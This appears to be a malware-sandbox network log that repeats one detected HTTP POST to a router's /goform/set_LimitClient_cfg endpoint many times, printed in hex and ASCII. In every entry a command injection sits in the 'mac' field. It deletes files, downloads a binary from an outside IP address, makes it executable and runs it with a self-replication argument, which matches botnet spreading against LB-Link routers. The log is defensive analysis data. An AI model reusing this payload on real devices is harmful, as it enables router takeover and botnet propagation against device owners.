Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
